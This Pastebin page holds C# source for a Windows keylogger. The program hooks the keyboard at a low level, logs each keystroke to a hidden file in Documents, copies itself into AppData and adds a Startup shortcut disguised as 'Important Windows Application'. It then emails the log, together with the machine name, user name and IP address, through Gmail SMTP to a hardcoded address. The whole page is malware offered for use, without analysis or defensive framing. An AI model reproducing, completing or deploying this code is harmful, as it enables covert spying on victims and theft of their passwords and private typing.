Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.IO;
- using System.Threading;
- using System.Windows.Forms;
- using System.Runtime.InteropServices;
- using static System.Resources.ResXFileRef;
- using System.Net.Mail;
- using System.Diagnostics;
- using IWshRuntimeLibrary;
- using File = System.IO.File;
- using Microsoft.Win32;
- using System.Runtime.InteropServices.ComTypes;
- using System.Net;
- using System.Net.Sockets;
- namespace Keyattempt3
- {
- class Program
- {
- private static int WM_KEYBOARD_LL = 13;
- private static int WM_KEYDOWN = 0x0100;
- private static IntPtr hook = IntPtr.Zero;
- private static LowLevelKeyboardProc llkProcedure = HookCallBack;
- static void Main(string[] args)
- {
- //GetIPAddress();
- String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
- dir = dir + @"\Docs\";
- String dir2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
- dir2 = dir2 + @"\Roaming\";
- if (File.Exists(dir + "wind.txt"))
- {
- SendEmail();
- Create();
- }
- else if (!File.Exists(dir + "wind.txt"))
- {
- String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
- filepath = filepath + @"\Docs\";
- if (!Directory.Exists(filepath))
- {
- Directory.CreateDirectory(filepath);
- }
- string path = (@filepath + "Wind.txt");
- if (!File.Exists(path))
- {
- using (StreamWriter sw = File.CreateText(path))
- {
- }
- SendEmail();
- }
- Clone();
- Create();
- }
- else
- {
- String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
- filepath = filepath + @"\Docs\";
- if (!Directory.Exists(filepath))
- {
- Directory.CreateDirectory(filepath);
- }
- string path = (@filepath + "Wind.txt");
- if (!File.Exists(path))
- {
- using (StreamWriter sw = File.CreateText(path))
- {
- }
- SendEmail();
- }
- Clone();
- Create();
- }
- hook = SetHook(llkProcedure);
- Application.Run();
- UnhookwindowsHookEx(hook);
- }
- private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
- private static IntPtr HookCallBack(int nCode, IntPtr wParam, IntPtr lParam)
- {
- if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
- {
- String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
- filepath = filepath + @"\Docs\";
- if (!Directory.Exists(filepath))
- {
- Directory.CreateDirectory(filepath);
- }
- string path = (@filepath + "Wind.txt");
- if (!File.Exists(path))
- {
- using (StreamWriter sw = File.CreateText(path))
- {
- }
- }
- else
- {
- int vkCode = Marshal.ReadInt32(lParam);
- String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
- if (((Keys)vkCode).ToString() == "OemPeriod")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write(".");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "Oemcomma")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write(",");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "Oemplus")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("[+/=]");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "OemMinus")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("[-/_]");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "Space")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write(" ");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "RShiftKey")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("[RShiftKey] ");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "LShiftKey")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("[LShiftKey] ");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "Return")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("[Enter/Return] ");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "Back")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("[Backspace] ");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "Delete")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("[Del] ");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "[LControlKey]")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("LControlKey ");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "[RControlKey]")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("[RControlKey] ");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "D1")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("1");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "D2")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("2");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "D3")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("3");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "D4")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("4");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "D5")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("5");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "D6")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("6");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "D7")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("7");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "D8")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("8");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "D9")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("9");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "D0")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("0");
- sw.Close();
- }
- else if (((Keys)vkCode).ToString() == "OemQuestion")
- {
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write("?");
- sw.Close();
- }
- else
- {
- //Console.Out.Write((Keys)vkCode);
- StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
- sw.Write(((Keys)vkCode));
- sw.Close();
- }
- }
- }
- return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
- }
- private static IntPtr SetHook(LowLevelKeyboardProc proc)
- {
- Process currentProcess = Process.GetCurrentProcess();
- ProcessModule currentModule = currentProcess.MainModule;
- String moduleName = currentModule.ModuleName;
- IntPtr moduleHandle = GetModuleHandle(moduleName);
- return SetWindowsHookEx(WM_KEYBOARD_LL, llkProcedure, moduleHandle, 0);
- }
- static void SendEmail()
- {
- string localIP;
- using (Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, 0))
- {
- socket.Connect("8.8.8.8", 65530);
- IPEndPoint endPoint = socket.LocalEndPoint as IPEndPoint;
- localIP = endPoint.Address.ToString();
- }
- String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
- string Newfilepath2 = Newfilepath + @"\Docs\Wind.txt";
- DateTime dateTime = DateTime.Now;
- String pcname = Environment.MachineName + " " + Environment.UserName + " logged ";
- //pcname = ("logged " + pcname);
- //string subtext = "logged ";
- pcname += dateTime + " ";
- SmtpClient client = new SmtpClient("smtp.gmail.com", 587); //Email service
- MailMessage LOGMESSAGE = new MailMessage();
- //Email sent from and to//
- LOGMESSAGE.From = new MailAddress("testingkey482@gmail.com");
- LOGMESSAGE.To.Add("testingkey482@gmail.com");
- LOGMESSAGE.Subject = pcname;
- client.UseDefaultCredentials = false;
- client.EnableSsl = true;
- client.Credentials = new System.Net.NetworkCredential(" ", " ");
- string newfile = File.ReadAllText(Newfilepath2);
- string attachTextFile = Newfilepath + @"\Docs\WinConfig.txt";
- File.WriteAllText(attachTextFile, newfile);
- LOGMESSAGE.Attachments.Add(new Attachment(attachTextFile));
- LOGMESSAGE.Body = pcname + "IP: " + localIP;
- client.Send(LOGMESSAGE);
- LOGMESSAGE = null;
- }
- public static string GetIPAddress()
- {
- var host = Dns.GetHostEntry(Dns.GetHostName());
- foreach (var ip in host.AddressList)
- {
- if (ip.AddressFamily == AddressFamily.InterNetwork)
- {
- return ip.ToString();
- }
- }
- throw new Exception("No network adapters with an IPv4 address in the system!");
- }
- static void Create()
- {
- String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
- dir = dir + @"\Docs\Wind.txt";
- if (!Directory.Exists(dir))
- {
- String tpath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
- tpath = tpath + @"\ImportantWindowsApplication.exe";
- var wsh = new WshShell();
- IWshShortcut shortcut = wsh.CreateShortcut(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\Important Windows Application.lnk") as IWshRuntimeLibrary.IWshShortcut;
- shortcut.Arguments = "";
- shortcut.TargetPath = tpath;
- shortcut.WindowStyle = 1;
- shortcut.Description = "Shortcut";
- shortcut.WorkingDirectory = tpath; //@"\Important Windows Application.exe";
- shortcut.IconLocation = "icon.ico";
- shortcut.Save();
- }
- else
- {
- throw new NotImplementedException();
- }
- }
- static void Clone()
- {
- String fileName = String.Concat(Process.GetCurrentProcess().ProcessName, ".exe");
- String filePath = Path.Combine(Environment.CurrentDirectory, fileName);
- File.Copy(filePath, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), fileName));
- }
- [DllImport("user32.dll")]
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
- [DllImport("user32.dll")]
- private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadid);
- [DllImport("user32.dll")]
- private static extern bool UnhookwindowsHookEx(IntPtr hhk);
- [DllImport("kernel32.dll")]
- private static extern IntPtr GetModuleHandle(String lpModuleName);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement